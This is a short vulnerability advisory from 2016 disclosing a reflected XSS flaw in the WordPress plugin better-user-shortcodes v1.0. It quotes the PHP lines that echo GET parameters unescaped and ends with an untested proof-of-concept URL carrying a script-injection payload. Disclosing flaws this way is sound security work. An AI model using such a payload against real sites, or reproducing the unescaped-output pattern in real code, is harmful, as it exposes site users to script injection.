Advisory #: 168
Title: Reflected XSS in wordpress plugin better-user-shortcodes v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
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Downloads: 4369
Vendor Notified: 2016-02-09
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Plugin Name: better-user-shortcodes
There is a reflected XSS vulnerability in the following php code ./better-user-shortcodes/views/registrationshortcode.php: 7: <p class="bus-registrationform-error"><?php echo $_GET['email']; ?></p> 10: <p class="bus-registrationform-error"><?php echo $_GET['username']; ?></p> 13: <p class="bus-registrationform-error"><?php echo $_GET['password']; ?></p> The variable email appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/better-user-shortcodes/views/registrationshortcode.php?email="><script>alert(1);</script><"